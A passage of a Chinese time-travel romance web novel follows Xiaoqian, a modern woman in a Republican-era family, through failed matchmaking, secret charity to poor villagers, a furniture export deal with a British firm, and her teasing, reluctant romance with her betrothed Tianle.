《穿越之漫漫桃花路》 7. 失败的媒婆 过了两天,又到了收租金的日子,那些佃农呼呼拉拉又到了裴家。因为办希望小学,我已经在裴家村有了很高的知名度,所以那些佃农见了我老远就招呼。 “聂小姐,有段时间没见您了,身体还好吧?” “大小姐,娃在家老念叨您。” “聂小姐,今天带了您喜欢吃的杏仁干,一会儿放在管家那。” 我是很低调的人,面对他们的热情招呼,我总是平易近人地和蔼地(这些词好象经常用在领导身上吧?)回他们的话。 我正感觉良好地从众人面前走过,一抬头就看见天乐爹那张恒古不变的面瘫脸,那上面还有让人捉摸不定的阴冷眼神。 做人难,做女人更难,做名女人是难上加难。作为裴家村的名女人我深感树大招风,说不定还招来某些心底阴暗之人的嫉恨,现在连村头的狗见了我都要多吠几声。 快走到院子的时候,看见一个女孩的背影,我唤了声:“兰英。” 女孩立刻转过头来,大眼睛欣喜地看着我,腼腆地叫了声:“聂小姐。” 自从那年她认识了我之后,每年她爹来交租她都来找我。我将她拉进屋里,倒了茶取了点心,边吃边和她聊天。 我说:“兰英,一年不见,你长高了不少啊,成大姑娘了。” 她含羞低头笑笑。 “哎,你多大了?你爹可给你许了人家啦?” 不管到了什么时代,我总是对八卦最有兴趣。我知道这里的女孩结婚都很早,一般十五六岁就定亲了,过了二十嫁不出去就是老姑娘了。 兰英低头玩着衣服边:“十五,还没呢。”声音小得跟蚊子叫似的。 “那你可有喜欢的人?” “没有。” “不可能。”十五六岁正是情窦初开的时候,明的没有暗的还没有心仪的对象?我可是过来人。 “那铁蛋怎么样?他挺机灵的,你要是喜欢我去跟他说去。不行那佑福也还行,就是黑点,还有根华,皮白白的,很斯文,还有。。。。。。” 我正列数我那希望小学的学生,天乐掀了帘子伸了头进来:“小倩,你看见我那本蓝皮书了吗?” 我一指柜子上:“昨天不是你扔在那的吗?” 他跨进门来取了书,目不斜视地就要出去。 我喊住他:“哎,这是兰英,你还记得吗?” 天乐不在意地瞥了一眼,一脸酷相:“噢,忘了。”然后脚也不停地出去了。 我转过头来问兰英:“你还记得他吗?”一看兰英的脸比那烧熟的虾子还红。 这小妮子怪不得没有喜欢的人,原来是对天乐动了春心了。我是不是该在中间做个月老什么的也好转移转移天乐对我的兴趣?再说象兰英这样长得结结实实没准还能给裴家多添几个孙子呢。 不过这事不能跟天乐讲,他人不大怪脾气不少,没准又翻脸了,我得找奶奶下手。 想罢,我便拉起兰英直奔奶奶的院子。 奶奶的眼睛已经看不见了,但是翠喜她们能看见。带着兰英给奶奶行了礼说了会儿话晃了一圈,然后我就带着兰英回屋了。 我问兰英:“若是你爹将你许给人家做小妾,你愿不愿意?比如象裴少爷这样的?”她到裴家做正房是不可能的,要做只能做小妾。 兰英的头几乎要低得看不见脸了,连耳朵脖子都红了,就是不回话。 我拿话激她:“你不愿意就算了。” 她却猛然抬头,又迅速低头,从牙缝里挤出一句话来:“我配不上的。” 这孩子怎么这么没自信?给人家做小妾还怕自己配不上。 “要是我就不愿意,我才不要讨几个老婆的男人呢。” 兰英稍稍抬头,惊讶地看了我一眼,眼中闪过一丝失望。 我一想不对,她知道我的身份,我这不是不想让她进门吗? 我立马改口:“不过不愿意也阻止不了。” 送走兰英我就去了奶奶那里。一路上我回忆了一下电视上见过的那些经典媒婆形象,将丝帕捏在手上,准备凭着我的三寸不烂之舌牵上这根红线。 我将兰英的情况跟奶奶说了,重点强调了兰英长得很结实,生个十个八个孩子没问题,然后问她要不要给天乐定这门亲。 奶奶说这事她要和天乐爹商量,我便告辞了。 没想到天乐晚上就知道这件事了,后来经过了解我才知道,原来是翠喜告诉他的,因为翠喜的妹妹也到了待嫁的年龄,她想如果天乐要定亲不如定她家妹妹,所以她就去问天乐了。 天乐听了这事,不用我说大家也知道他的反应。 我当时已经上了床正准备休息,就听天乐在屋外一声狮吼:“聂-小-倩。” 一般他连名带姓地叫我的名字准没好事,我抖了一下。 话音刚落他人就到了我面前,面色黑沉,抓住我的肩头一阵猛晃,晃得我头晕眼花。这简直是景涛大叔的再版啊。 “怎。。。么啦?”我的舌头有点不利索。 “你想干什么?你这么想把我塞给别人?”他的怒吼与咆哮教教主马景涛大叔有得一拼。 我一听这话立刻明白他发火的原因,好在我早有准备:“我只是看她喜欢你,随便问问,你不喜欢就算了呗。”我轻描淡写地解释。 “那你为什么不当面问我?” 我用你很白痴的眼光看了他一眼:“你会当面告诉我你喜欢她吗?” 他愣了。 “好了不早了,你快去睡吧。”我推开他的爪子,拍拍他的肩。 他心里憋屈却又找不着着火点,一下子就懵了。他站起来顿了片刻又恶狠狠地威胁:“你要是再提这事,我就叫人把她给拐了卖了。” 他说这话的时候脸上又有了那种狠厉。 原来媒婆也不好当,弄不好还要出人命呢。 他愤愤地向外走,快到门口时我叫住他:“桌上那付手套是你的,试试看大小合适不。” 他拿起手套试了试,大小还行,但是又纠结到另一个问题上:“为什么他是小花我是兔子?” 我想都没想:“因为小花娇弱,兔子有活力。” 说一个男人娇弱好象不是褒义。 他嘴角弯了弯。 “等裁缝来了,我给你单做个五指分开的。” “嗯。”他的嘴角弯得更厉害了。 天乐走后,兰儿怔怔地看着我。刚刚的场景她从头到尾都看到了。 她走到我面前,欲言又止。 “想说什么?”我懒懒地问。 “小姐,要是我说你就是少爷的克星。”她满眼崇拜。 我斜睨她一眼。 “你看刚才少爷刚来的时候,那个怒气好象要把房顶都掀了,可你几句话一说,他的火气就灭了,临走时那个脸笑得象花开了一样。” 她的话有些夸张,因为天乐已经好久不会脸笑得象花开了。 要说克星,他是我的克星还差不多,他克走了我的美男。 又过了两天,一大早,我就起来了,今天我要去送温暖。 在现代,逢年过节的居委会就会搞送温暖活动,就是给那些孤寡老人特困户家庭送些米啊油啊什么的,我在了解了裴家村的基本情况后就决定过年给他们送温暖。 铁蛋已经帮我拟好了特困户的名单,我只需买了东西直接送过去。东西虽不多,但我想尽到我的心意。 昨天我已经跟天乐打了招呼,我说我要到城里去逛逛,买点女孩子用的东西,他立刻说要陪我去,我说我叫了吴兰英你去不去,他立马摇头,于是我就成功摆脱了他。 马车到了村口,兰英和铁蛋已经在那边等了。 因为上次做媒不成功,所以我又另觅他人,铁蛋就是候选人之一。 铁蛋虽然家里不富裕,但是铁蛋很聪明,做事也很认真,每年的蟋蟀冠军都是他帮我选的。 往往一个人的性格决定了他的前途,做事不认真不好,做事太认真缺少变通也不好,而铁蛋是既认真也灵活,我比较看好他。就看他和兰英有没有缘份了。 我们三人坐着敞篷马车一路到了县城,买东西的商户铁蛋已经帮我打听好,价格也问好。 进了城,我们一家家地买了东西,中午草草地吃了一碗面,到下午二点左右才往回赶,将买的东西在铁蛋家放下我才回家,留下的事情就让铁蛋和兰英去做了。 回到家就看天乐顶着一张臭脸坐在我房里,我一进门顾不得和他啰索先倒了一杯水喝下,中午吃的面下午没喝水渴死我了。 放下茶杯,我才开始打量裴大少爷。 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“你裴大少爷走到哪都是一大招牌,到时候搞得人人皆知的,我还怎么做好事不留名?再说你能吃得了那种苦?我们可是坐的敞篷马车,一路上冷死我啦,你看我的手现在还冻着呢。” 我将已经冻成象鸡爪子样的手送到他面前,以证明我所说无虚。谁知他一把抓住我的手塞到他的棉袄里,说:“我帮你暖暖。” 隔着薄薄的里衣,我感觉他的身上热乎乎的,虽然肉不多,但是很结实,不知道脱了衣服后是不是也很养眼。。。。。。我一边焐手一边淫想翩翩。 作为一根老草,我很有自知自明,我是真的不想吃这个嫩牛的豆腐,但是我抽不动我的手,羞得我一张老脸象火烧一样。 再抬头看他,双眸仿佛静墨的深渊燃起了两簇小火苗,目光灼灼地看着我。 唉,真受不了他这热辣目光的炙烤,纵然我脸老皮厚,也将我烤出了一身的汗。 我动了动手,小脸有些纠结:“我的手已经出汗了。” 他有些不舍地将我的手拿出来,很认真地说:“买东西的钱我会替你还上的。如果被爹知道了,你就说是我让你这么做的。” 我心里有一份郁闷有一份感动。敢情他以为我是挪用了裴家的钱,他非但不怪我自作主张,还说要替我还上,而且还要我把责任推到他的身上。 到哪里找这么好的人,明明比我小却要处处护着我,真是很男人。说不感动是假的,只是我错生了年代,这一份情我怕是要欠下了。 我捏捏他光滑的脸,深情地:“傻瓜,我怎么会让你为我受罚呢。” “没事,谁让你是我媳妇呢。”他的星星眼里冒出狡黠的光。 唉,这年头的孩子思想怎么这么早熟? 过了一天,裴家请的裁缝到了,我们又要做新衣了。 这次裁缝师傅带来了些呢料子,这在这里还是很时髦的,我让裁 缝给我做件窄身收腰的浅驼色长大衣,里面配淡蓝的袍子,头上是深红的呢料贝雷帽,足下是一双古铜色小皮靴,这是我向往了很久的装束。 天乐的衣服则田园气息更浓郁一些。他选了深紫色的袍子外加浅绿色的棉袄,整得象根特大号的茄子,虽说他这么穿不难看。在我的鼓动下,他还做了件驼色呢大衣,韩版的,我设计的。 天乐爹斜着眼睛将我给天乐画的大衣图纸看了半天,最后似极勉强地对裁缝说:“给我照样做件黑呢的吧,身腰稍大点。” 哼,盗版! 刚量完衣服,仆人小柳就进来喊我:“小姐,门口有个男的找你。” 我一转头发现四束犀利的眼光向我扫来,两束是天乐的,两束是天乐爹的,这让我感觉他俩就象两只旷野里的野兽,一有个风吹草动就启动全身的感觉器官密切关注着四周的动静。 天乐一把拽住我:“我陪你去。” 跑到门口一看,是铁蛋。 “小姐,东西昨夜已经送到各家了,今早大家都在说菩萨显灵了,有人还到村庙里去烧香磕头呢。” 我点点头:“让他们烧去吧,没有走漏风声就好。” 送走铁蛋,天乐问我:“你为什么不让人知道?” 我想想:“我做好事只为心安,不是要人感激我,再说枪打出头鸟。”我要象雷锋叔叔那样做了好事不留名。 8. 不良的教唆 临近过年家里越发地忙碌起来,今早天乐爹亲自到县城去买年货了。 我正在房里试着新年衣服,兰儿匆匆跑进来:“小姐,阿德说老爷叫你过去。” “老爷叫我?”我想了想:最近我好象没犯什么事吧? 脱掉新衣,跟着阿德进了天乐爹的院子。除了除夕夜和年初一,这个院子我很少来。 冬日的阳光透过稀疏的竹叶落下斑驳的影子,凛冽的寒风拂过树丛发出沙沙的声响,幽静的院子里给人一种清冷的感觉。 阿德指指书房的方向示意我,然后就走了。 我沿着长廊走到书房,一进门就看到天乐爹正背着手站在书桌前,千年不变的面瘫脸上不仅冷峻而且还有怒气。 我小心翼翼地行礼:“老爷,您找我什么事?” 他冷哼一声,薄怒的眼光剜了我一眼,我激凌打了个冷颤。 “我想你应该心中有数。”他薄唇轻吐。 我茫然地看着他。 他向前走了两步,在我面前站定,气势迫人地道:“哼,虽说你来自另一个时代,但是你现在身为裴家人,动用裴家的钱财要报告一声,这个规矩你还是应该懂的吧?” 我昂起头,看着他近在咫尺的脸淡定一笑:“我懂,但是到目前为止,我没有动用裴家的钱财。” 他冷笑一声:“那你买米买肉的钱从何而来?” 嗯?是谁出卖了我?天乐?铁蛋?兰英?。。。。。。我转着眼睛苦思冥想。 “不用想是谁告诉我的,你不记得米店老板,他可记得你。” 我恍然大悟,好象是有米店专门为裴家送粮食上门。唉,穿到这犄角旮旯,我这样一个名女人想低调都难。 他很定定地看着我,黑眸里写满了不信任,看来要证明我的清白,只有坦白交待了。 “钱是我自己挣的。” 天乐爹显然不相信我的话:“那你说说你是怎么挣的?” 其实我本不想说,要知道这个年头人们对洋人总是很反感的,但是我要不说天乐爹也不会饶过我。 “我和大英洋行有生意往来,我卖木制工艺品给他们。” 天乐爹有些不可置信,声调略略高了点:“你竟然和洋鬼子做生意?” 这什么死脑筋,和洋人做生意有什么大不了的。 我鄙视他:“在商言商,管他是洋鬼子还是土鬼子,只要是正=-0987的商业贸易都可以做。在我们那个时代,整个世界都是一个大市场呢。” 沉默,片刻后,天乐爹抬起眼,目光幽幽:“你不该将东西送给那些人。” “为什么?”换了我提高声调了。 “你不是救世主,你救得了他们一时救不了他们的一世,你根本改变不了他们贫困的现状。给他们送这些东西就象给一个孩子吃糖,没吃到的时候不觉得其他东西不甜,吃过糖才知道,可是吃了一口就没了,总巴望着再吃,这样只会让对他们贫穷的现状产生不满,对有钱的人产生对立情绪。” “可是,如果不知道糖好吃,又怎么会有动力努力寻找再吃一口的机会?” “你觉得他们在这里有努力的机会吗?”他眼神平静地看向我。 我仍然坚持:“这不是是否有机会的问题,而是他是否有改变现状的欲望,这里没有其他地方也没有吗?或者就因为希望渺茫就让他们以及他们的子子孙孙这样过一辈子吗?这也就是说他是穷命,要安于现状,不要有奢求不要有妄想,而象你这样的人就是天生富贵,就该拥有着财富与权力?” 我若不是充分见识并享有现代女性的独立自主又怎会在这个时代去不断地改变自己的地位? 一番慷慨激昂的陈词,他的目光有些动摇,有些置疑,还有些深思,定定的,看着我。 而我,坚定的,不容怀疑的目光对视他。 沉默,目光在空中交战,一时间电闪雷鸣,这是新旧思想的对决,这是万恶的资本家和可爱的无产阶级的对决,这是大灰狼和小红帽的对决。 他突然后退了一步,转脸咳了一下:“算了,你去吧。” 他这就放了我了?我有点搞不清状况。 “等等。”快走到门口他又叫住我。我回头疑惑地看他。 “嗯。。。问问看那个大英洋行做不做家俱生意?” 这么快就改变立场了?才质疑我和洋鬼子做生意的又要利用我了?真所谓无商不奸。 “好啊。”我想了想又不甘心被万恶的资本家平白利用:“生意做成后我能提成多少?” 他嘴角抽抽:“你要钱干什么?裴家没给你月钱吗?” 我摊开手表白:“那哪够花,人情往来的,我作为裴家的媳妇出手总不能太小吧?” 他沉思了片刻:“三分利吧。” 三分利?就是说交易额的百分之三?一百大洋就提成三块大洋,又不要成本又不担风险,这个好象还不错哎。 我心中欢喜脸上却是淡漠的很:“噢,看在自家人的份上,就这样吧。” 到了除夕,全家照常地吃了年夜饭。 今天不知天乐爹哪根筋搭错了,居然跟着大家吃到了晚宴结束,众人又不敢喧闹,憋着气吃到结束。天乐早就坐立不安了,私底下做了好几回鬼脸反对他爹不走。 好容易挨到结束,天乐拖着我撒腿就往后院跑。他准备了好多烟花炮竹,就等着放呢。 我看着那漫天飞舞的火花忽然想起以前每年除夕都是我和友清一起看烟火,可如今却是“物是人非事事休,欲语泪先流”。不知道友清现在身在何处,是不是在他乡异地孤苦零丁?也不知他有没有到黄埔军校去,但这时候即使去了,学校也放假了,不知道他能到哪里去落身?要是有个病痛又有谁去照顾他? 一想到此,我便对天乐有了怒意,看着他那么张扬地笑,气便不打一处来,恨不能在他那长俊脸上踩上若干鞋印。 天乐原来还很开心,每放几个烟花便回头瞧瞧我。也许是我脸上的表情太过扭曲,他突然停止了点火的动作,走到我面前来。 “小倩,你没事吧?”他小心地问。 “我回屋去了。”我的口气很不好。 天乐看看还剩下大半的烟花:“再放会儿吧?” “要放你放,我回去了。”我不等他有所反应便往回走。 “你怎么了吗?怎么突然就生气了?”他跟在我屁股后面追问。 我突然站定,恶狠狠地对他说:“我不想看到你。”然后一路小跑地回了屋里。 刚坐定没几秒钟,天乐也进来了。他一屁股在凳子上坐下,脸色阴沉,胸口起起伏伏,压抑着情绪。 少顷,他道:“知道你喜欢看烟火,我特地买了好多,可是。。。。。。”他懊恼得有些说不下去。 我坐在床边,手里拿着一本书,却一个字也看不下去。 知道天乐很诚心地对我好,在我面前也从不端大少爷的架子,甚至有点讨好我的意思,我想我今天是有点过份了。他裴大少爷在外人面前也是强硬霸道得很,何曾受过这番委屈? 但我不能说是因为想友清了,那无疑是摸老虎屁股。 我走到他面前,摇摇他的肩:“我今天只是想我爹我娘了,心情不好。” 他仍梗着脖子不看我。 “好了,别气了,大过年的。”我拍拍他。 他斜睨我一眼总算给了点回应,看我和颜悦色地看着他一下子又来劲了,居然伸手抱住我的腰,有些赌气有些撒娇:“那我们今晚一起守岁。” 我看他期待的目光,心一下子就软了,点头允了他。 我总是心太软,心太软。 守岁不能干坐着,总得有吃有喝吧。我和兰儿到厨房去拿了几个菜,天乐和小伺小柳到饭厅偷了两坛上好的女儿红,将房里的暖炉加足了木碳搞得房里暖和和的,然后四个人围着桌子喝酒。 四人光喝酒也无聊,天乐提议行酒令。规则是倒一杯酒放在一个人面前,这个人给后一个人出谜语,猜出来就将酒杯往下传递,猜不出来就让后一个人将酒喝掉。 小柳给兰儿出的谜语都简单,兰儿给天乐出的也容易,偏偏天乐坐在我旁边,他出的谜语又是古诗词又是文言,拗口难懂,十个有八个我是猜不出来的,好在只是喝杯黄酒。我给小柳出的脑筋急转弯小柳也很少猜出,所以小柳也喝了不少。 这黄酒虽然度数低,可后劲大,喝了一个多小时,我差不多喝了十几杯,被屋里的暖炉一烤,头越来越昏。我趁着还有一点清醒,叫大家收了酒菜回屋睡觉。我自己也在兰儿的服侍下洗漱完了上床睡觉。 上床一会儿,我便昏昏沉沉地睡了。不知睡了多久,唇上传来一阵清凉的感觉。 我那时正发着酒劲,脑子里混沌一片,又口干舌燥,碰到这清凉的东西,下意识地就伸出舌头去舔,微妙的是,这一舔竟舔出个湿漉漉的东西,正好解了我的渴,那东西好似有灵性直往我嘴里钻。我吮咂了半天直到唇上传来阵阵痛意,我才轻哼了一声,放了那东西,然后一夜好眠。 第二天一早醒来,第一眼便看到天乐撑着个脑袋侧卧在身旁,眼中的光芒流光溢彩,脸上洋溢的是贼溜溜的笑,怎么看怎么象偷了腥的猫。 “新年好!”还未等我开口,他便热情地招呼。 我回想一下梦里依稀的感觉,压抑住声音,颤抖地问:“你昨夜是不是亲了我?” 他有些腼腆,脸上有不正常的红,郑重其事地更正:“是你亲我的。我原以为亲嘴就是碰碰嘴唇,没想到是那样的,不过。。。”他的脸凑近我的耳根,热息吹到我的脖子里:“那种感觉很好。” 什么?我亲他?我这根老草亲了这头小嫩牛?这是什么世道,敢情我还是个教唆纯良小弟弟的不良姐姐。 噢,该死的,我百年一遇的正经八百的吻啊,竟葬送在他长不出象牙的嘴里。 我心有戚戚焉,情绪在愧疚和惋惜之间徘徊,一抬头看见他那张妖孽的脸,顿然猛醒。 我大喝一声:“裴天乐,你怎么上了我的床?” 他丢了个不满的眼神,很道貌岸然地:“别吵,你想让大家都知道我和你睡一起了吗?” 敢情还是我不注意影响? 我掐着他 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天乐听了“吃吃”地笑,我横了他一眼,脚下毫不客气地踢了他一脚。 从奶奶那里出来,我们便去了天乐爹的院子。天乐爹显然已经有所准备,穿得整整齐齐地坐在屋里等我们。 我们一进去,他神情微动,定定地看了我一眼才招呼我们。我们行了礼拿了压岁钱未有耽搁便逃也似地离开了。看来天乐和我一样不喜欢他爹院子里那种清冷的气氛。 到了日上竿头,天乐爹带着我们出门给三叔公公拜年。 在三叔公公家,天乐爹陪着三叔公公说话,我被三叔公公的几个儿媳妇拉着看我的衣服鞋子,天乐被三叔公公的孙子们拉去说话。 不大一会儿,小胖匆匆匆忙忙地跑进来喊:“打起来了,天乐和他们打起来了。” 我们听了都起身往后面跑,到后院的时候,架已经被拉开了,三叔公公的孙子小华子眼睛有些瘀青,口角还流着血,天乐的形象也好不到哪去,大衣的扣子脱了两个,头上有点擦伤,看来刚才的战斗还比较激烈。 因为是过年,而且双方家长都在,所以都以小孩子打闹是常事为由和平解决了此事。 我们匆匆从三叔公公家告辞,在回家路上,我问天乐为什么打架,天乐一句口也不开。 回到家,我一边拿了药水替他涂在伤口上,一边数落他:“你看你多大的人了,还跟人打架,这是自家亲戚可以平息这事,这要是摆到外面,万一对方是狠角色,你不吃亏啊?真是意气用事,你就不能省点事吗?” 本来他就心情不好,又被我数落一通,居然跟我发起火来,红着眼睛冲着我喊:“都是你,要不是因为你红杏出墙和姚友清好我会跟他打吗?” 我明白了,一定是他们在天乐面前说了我的坏话伤了天乐的面子,所以天乐才和小华子打起来。但是你裴天乐赶跑了我的初恋情人我又找谁发火去?再说我免不了还会有下一次恋爱,免不了再次红杏出墙,再说他裴天乐又怎么知道我的想法呢?我是一现代女青年,怎么会认命运摆布承认这种父母之命的婚姻呢?所以我觉得有必要给他点思想准备。 “天乐,你知道你和我的亲事并不是我的意思也不是你的意思,是长辈们的意思,你现在还小,还没有接触过多少人,等你大了你就知道这种包办的婚姻是不对的,是不幸福的,婚姻应该建立在两个人相互喜欢的基础上。你想想看,要是哪天你喜欢上了其他的女孩子,你说你还会要我吗?你看那个陈世美,不就是到外面遇到了自己喜欢的人,结果停妻再娶招了千古的骂名?所以我觉得我们之间的这个亲事,你也不要当真,不要真把我当成你老婆。以后你遇到了你喜欢的,你可以直接娶人家而不用担心我的问题,我的话你明白吗?”我耐心地解释。 天乐听了这话怔怔地看着我,眼中是疑惑的神情。 过了一会儿,他突然作恍然大悟状: “小倩,你干嘛不早说?原来你是担心我长大了不要你,所以你才不敢和我好。虽然你长得也不很漂亮,脾气也不是很好还经常喜欢欺侮我,但是你放心,我不会嫌弃你的,我发誓。”他信誓旦旦的举起手。 我一时心中抓狂,心道怎么会有感觉这么良好的人?看来我以前对他的自信心打击得还不够。 要和这样一个喜欢逆向思维的人沟通好象有些不容易,看来只有等他慢慢地对我失去兴趣,于是两下里又握手言欢。 过完年,天乐爹要回城里去了,这一次天乐死活要叫我住到城里去,天乐爹也发话让我去。 我想天乐爹是想我给他联系家俱生意,而我也想多赚点提成,所以这次我就没表现反对。 临行前我去和奶奶道别,奶奶严厉地对我说:“小倩,天乐是个倔性子,认定了一个人会一直对她好。我知道你心思活,可你也别负了他,否则裴家的祖宗都饶不了你。” 我唯唯唯诺诺地应着,心想难道裴家的祖宗还会显灵来灭了我?但是好汉不吃眼前亏,我且走了再说。 9. 城里的生活 到城里住了没多久,天乐就开学了,我也开始打算着为天乐爹推销家俱。到天乐爹的天福家俱工场去跑了几趟,听天乐爹介绍了情况,又找来一些书看了,基本上对家俱行业有了个大致的了解,又请人拍了一些样品照片,这才去大英洋行找威廉。 威廉将我带到他爹跟前,我将天乐爹家俱工场的情况大概讲了,又把照片给老威廉看了。 我主要抓住几个要点向他介绍: 一是天福家俱工场是专做高中档家俱的企业,历史悠久,产品质量一流,在同行业中都是名列前茅的,一般有身份的人家里买家俱都以天福牌为首选; 二是天福家俱以红木家俱为主,红木的特点是木质紧密不怕潮湿。象你们那个伦敦,温带海洋性气候,空气潮湿,被称为“雾都”,普通木材容易腐蚀,正适合用红木家俱; 三是目前国内的家俱以自给自足为主,很少有出口到英国的,如果大英洋行做可以夺得先机,而且天福家俱是完全的手工的的制作,不仅可以作为日常使用,还可以作为价值投资。 老威廉并未立即给我答复,只说要了解一下英国的市场行情。 威廉见我谈完生意,又拉着我说话。在这里能和威廉交流的人不多,洋行里的那些中国雇员本身和他在语言沟通上就不是很顺畅,而且又有着对侵略者的心里隔阂,而我因为了解历史的变迁,知道大英帝国不过是一时猖狂,若干年后还不得和中国和平相处互相尊重,所以敌视情绪较小,再说威廉只是生意人,俗话说只有永远的利益,没有永远的朋友,当然也没有永远的敌人。 因为谈的时间比较长,回到家的时候已经快过午饭时间了。我匆匆跑到饭厅,没想到天乐爹也在,一张面瘫脸阴沉晦涩,一见我便道:“见了洋鬼子饭都不要吃了吗?” 他的话里隐约有些酸意,只是当时我未在意。我没想到他会等我吃饭,所以我觉得也没有道歉的必要。 “外面也没个钟啊表的,也不知道几点了,要不然就早点回来了。”我如是解释。 天乐爹听了沉默不语。 没想到第二天下午阿德就给我送了一个表盒来,说是老爷关照送给我的。 我打开一年,哇,是块长方形女式小表,还是欧米茄的,要知道这个时代这种表都是泊来品,正宗瑞士货,价值不菲。 没想到在现代没钱买的奢侈品到了这里竟然拥有了,原来穿越也不白穿还是有点好处的。 既然资本家愿意拨根毛,我也就不客气地收下了。 晚上天乐回家我就把表给他看了,他比我还高兴,眼中光芒四射,因为这意味着他爹对我这个媳妇也是满意的,不然不会送我这么贵重的东西,就是天乐也没有这个待遇。裴家虽然有钱,但是天乐爹一直很低调,不想让天乐从小养成奢侈浪费的习惯。 天乐还一本正经地说等他以后做生意赚钱了,一定为我买更好的表。我想我还不一定能等到那一天呢。 可能是比较兴奋,天乐抱住我就要亲。我用力反抗,但是他的劲比我大,而且我也不能拉下脸踢他打他,于是就被他轻薄了去。 他也是个聪明人,经我上次无意识的调教,他已经青出于蓝而胜于蓝了,居然吻得我头晕目眩大脑严重缺氧。 为了一句没有兑现的承诺便被吃了豆腐,我懊恼不已。 过了十来天,威廉父子应邀到天福工场去参观。看了加工过程,老威廉还是比较满意的。参观完后,正逢午饭时间,天乐爹就邀请威廉父子吃个便饭。 席间,天乐爹和老威廉关于市场宣传方向问题展开了讨论,我便成了翻译。 天乐爹说以大众为消费主流,老威廉说以有钱人为消费主体,两人各抒己见,后来我建议将主攻方向对准英国皇家贵族,一是皇家贵族有这种消费能力,二是如果连皇家也购买,那可以起到很好的广告效应,三是英国皇室与欧洲皇室都有着广泛的联系,这对于今天开发欧洲市场也是有好处的,当然这想法有点远。 老威廉比较赞同我的说法,威廉更是对我的想法佩服不已,不管我的想法是否实际,就我考虑问题的前瞻性就让他大为赞叹,蓝眸子朝着我一个劲地发光,为表示礼貌,我对他的赞赏微笑回应。 却不料一转脸正对上天乐爹极为不满的眼神,我当即仔细回想我言谈举止是否有不当之处,好象没有,然而他那张面瘫脸到午饭结束都没有任何好转。 回头的路上在马车上,他一直脸色阴郁,沉默不语。快到家的时候他才对我冷冷地说:“下次对洋鬼子不要笑得那样风骚。” 我一下子愣住,心想以我这样清纯的五官即使我想,怕也笑不出风骚的样子啊,这个公公对媳妇真是有点鸡蛋里挑骨头呢。 回到屋里,我坐在镜子前笑了一个多小时,笑得脸都抽筋了,却也没有笑出个自认为是风骚的样子,也许是我和他的衡量标准不同。 晚上天乐回来后,我就以各种方式对着他笑,直笑得他毛骨悚然,然后我问他我笑得是不是风骚,他回答说:“你笑得不风骚,但你笑得象疯子。” 我冲着他身上就掐过去,可是他已经不象小时候那样长一身肥肉,掐在硬邦邦的肌肉上如同给他挠痒痒,后来他抓住我双手反剪在身后,我又免不了被他一阵轻薄。 想想我做人真失败,大兔子搞不定,连小兔崽子也搞不定。 经我多次奔走,出口家俱的事情终于搞定,货物运出的那天,我特意到港口去看了,看到船离岸我才松了一口气。 天乐爹没有失言及时将第一批的提成给了我。在交给我的时候,他难得温和地问:“你是不是有离开的打算?” 我说:“目前没有。” 他皱皱眉道:“天乐好象很喜欢你。” 我抬头看他:“你少年时代是不是也有过喜欢的女孩子?喜欢了多久?是不是后来娶了她?” 他摇摇头,嘲讽地笑了笑:“有过,但后来她嫁人了,最后忘了。” “那就是了。每个人在这个阶段都会有一种朦胧的感觉,觉得喜欢某个人,但是这种情感是不确定的,以后等他心智成熟的,他才知道什么是真爱,什么人才是最适合他的。现在在他身边来来去去的只有我,他当然只会对我感兴趣,等他长大后见识过别的女孩之后,他就不会再喜欢我甚至忘了我。” “如果他长大后依然对你感情不变呢?” “这个赌注太大,我赌不起。”我不能用我今后的幸福来赌他今后是不是爱我:“不过如果我爱上他,那就另当别论了。” 天乐爹沉默了片刻:“那么。。。”他欲言又止,少顷:“你会爱上他吗?” “说不准,看缘分吧。” 我一直以为天乐喜欢我是因为在他的周围只有我一个女孩子,住了几个月后,我才知道原来他还有不少的粉丝。 经常会有一些女孩子上门,花枝招展的,无一例外的,都是找“天乐哥哥”。 你知道我在这里也比较无聊,于是打听这些八卦就成了我的乐趣。 人不总得有点爱好嘛。 一般接待这些来客都是在楼下的客厅。 天乐在沙发上正襟危坐,目不斜视,拽得跟二万似的,只偶而瞥一眼旁边的女孩。 他越是这样那些女孩越是巴巴结结,想出话来跟他套近乎。 其实我想她们都采取了错误的方法,要是她们上前将他暴打一顿,他或许就对你客气了,就象我当初对他那样。 等人一走,我就从阴暗的角落里跑出来,很三八地打听。 “哎,这个长得还不错,感觉怎么样?” “太蠢。” 。。。。。。 “这个说话声音挺好,你是不是也觉得?” “哼,做作。” 。。。。。。 “这个好象很斯文哎,你是不是有同感?” “一股怪味。” “人家用的是法国香水。” “怪不得一股洋马味。你用什么香水?” “我用花露水。” “真的?让我闻闻。哎,你别跑。。。。。。” 。。。。。。 谁让我冰雪聪明、大方得体、温柔贤淑、芳香宜人、人见人爱、花见花开。。。。。。(此处省去赞美词五百个)养刁了他的口味,都是我的错。 阳春三月,春暖花开,我端着一盘切好的菠萝走向书房。 今天来的是男同学,所以天乐将他带到了书房。 走到书房外走廊上就听有人在高谈阔论。 “。。。。。。你怎么还听从父母之命?我们是新一代的青年,要追求自由和真理,要推翻封建的婚姻制度,爱我所爱,与相爱的人一起共创美好未来。难道你和那个守旧无知、整天只知道三从四德恪守妇道的童养媳能有共同的兴趣和语言交流?难道你就为了完成繁衍后代的责任而葬送你一生的幸福?” “世元,事情不是你想像的那样。”天乐的声音。 “怎么不是那样?我们的前辈们用血淋淋的现实告诉我们,事实就是那样。可我妹妹世青就不一样了,她有知识有才华,思想开放,敢于勇敢地追求自己的幸福,有她相伴一生,你决不会后悔的。” 他的妹妹李世青我知道,经常来找天乐,的确是很勇敢,每次来都昂首挺胸急冲冲的,象是打了鸡血一样的亢奋,缠着天乐问这问那,天乐最烦她。 敢情他哥哥世元是来为她和天乐说媒的。 他抨击旧的封建婚姻制度我没有意见,但是他在不了解事实的情况下就诋毁所有的童养媳,那我就不敢苟同了。 我推门袅袅婷婷地走进去,对着那世元微微一笑。 李世元探询的目光看向天乐,天乐道:“她是小倩。” 我接口道:“我便是那守旧无知、整天只知道三从四德恪守妇道的童养媳,李公子和我未曾谋面便知晓我的品性想必是和我神交已久,李公子今日的一席话真真是振聋发聩,想必您以后定会找那思想开放、不守妇道的女子为妻,李公子追求自由的精神令小倩佩服不已。李公子请慢用,小倩就不奉陪了。” 在那个李世元还愣神间,我已退出了书房。 身后传来天乐的一阵爆笑声。 回到房里我半倚在床上看书,过了半晌,天乐进来了,毫不客气地爬上床,揽住我的腰,将脸贴近我的脖子,哑声道:“小倩,你太可爱了。” 他现在和我是越来越放肆了。 我抵住他贴近的脸出声提醒:“我上次怎么跟你说的?” 他不以为然:“你是我媳妇,我为什么不能抱你亲你?” 